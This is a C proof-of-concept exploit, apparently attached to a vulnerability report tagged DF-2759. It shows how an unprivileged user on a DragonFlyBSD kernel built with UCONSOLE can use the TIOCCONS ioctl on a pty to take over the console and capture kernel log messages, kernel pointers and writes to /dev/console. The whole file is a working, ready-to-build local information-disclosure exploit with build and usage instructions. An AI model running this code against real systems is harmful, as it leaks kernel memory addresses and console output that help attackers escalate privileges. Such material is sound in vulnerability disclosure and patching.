/*
 * DF-2759 — Unprivileged kernel-log/kernel-pointer disclosure via
 * UCONSOLE TIOCCONS + constty_daemon (DragonFlyBSD default X86_64_GENERIC).
 *
 * Run as an UNPRIVILEGED user. Steps:
 *   1. allocate a pty (master/slave)
 *   2. ioctl(slave, TIOCCONS, 1)  -- no privilege required when the kernel
 *      is built with `options UCONSOLE` (sys/config/X86_64_GENERIC:36)
 *      -> kernel sets `constty = <this pty's tty>` (sys/kern/tty.c:977)
 *   3. read the master side: from now on every kprintf/log message is
 *      duplicated to this pty (subr_prf.c constty_daemon), and every
 *      write(2) to /dev/console is forwarded here (tty_cons.c cnwrite).
 *
 * Build: cc -O -o uconsole_grab uconsole_grab.c
 * Usage: ./uconsole_grab [seconds]
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <termios.h>
#include <poll.h>
#include <sys/ttycom.h>

static double
now(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec / 1.0e9);
}

int
main(int argc, char **argv)
{
	int seconds = (argc > 1) ? atoi(argv[1]) : 8;
	int one = 1, mfd, sfd, i;
	char *slavepath;
	struct termios tio;
	struct pollfd pfd;
	char buf[4096];
	double t0, deadline;

	mfd = posix_openpt(O_RDWR | O_NOCTTY);
	if (mfd < 0) { perror("posix_openpt"); exit(1); }
	if (grantpt(mfd) != 0) { perror("grantpt"); exit(1); }
	if (unlockpt(mfd) != 0) { perror("unlockpt"); exit(1); }
	slavepath = ptsname(mfd);
	if (slavepath == NULL) { perror("ptsname"); exit(1); }
	sfd = open(slavepath, O_RDWR | O_NOCTTY);
	if (sfd < 0) { perror("open slave"); exit(1); }

	/* raw mode so we see exactly what the kernel delivers */
	if (tcgetattr(sfd, &tio) == 0) {
		cfmakeraw(&tio);
		tcsetattr(sfd, TCSANOW, &tio);
	}

	t0 = now();
	fprintf(stderr, "[%.2f] uid=%d euid=%d pty=%s\n", 0.0,
		getuid(), geteuid(), slavepath);

	if (ioctl(sfd, TIOCCONS, &one) < 0) {
		fprintf(stderr, "[%.2f] TIOCCONS FAILED: %s "
			"(UCONSOLE gate not present in this kernel)\n",
			now() - t0, strerror(errno));
		exit(2);
	}
	fprintf(stderr, "[%.2f] TIOCCONS: SUCCESS - constty now points at "
		"this UNPRIVILEGED pty\n", now() - t0);

	pfd.fd = mfd;
	pfd.events = POLLIN;
	deadline = now() + seconds;
	while (now() < deadline) {
		int r = poll(&pfd, 1, 200);

		if (r > 0 && (pfd.revents & POLLIN)) {
			ssize_t n = read(mfd, buf, sizeof(buf));

			if (n <= 0)
				break;
			fprintf(stderr, "[%.2f] master received %zd bytes:\n",
				now() - t0, n);
			fwrite(buf, 1, n, stderr);
			fputc('\n', stderr);
			fflush(stderr);
		}
	}
	fprintf(stderr, "[%.2f] capture window over; exiting "
		"(close -> ttyclose -> constty=NULL)\n", now() - t0);
	for (i = 0; i < 3; i++)
		close(sfd);
	close(mfd);
	return (0);
}
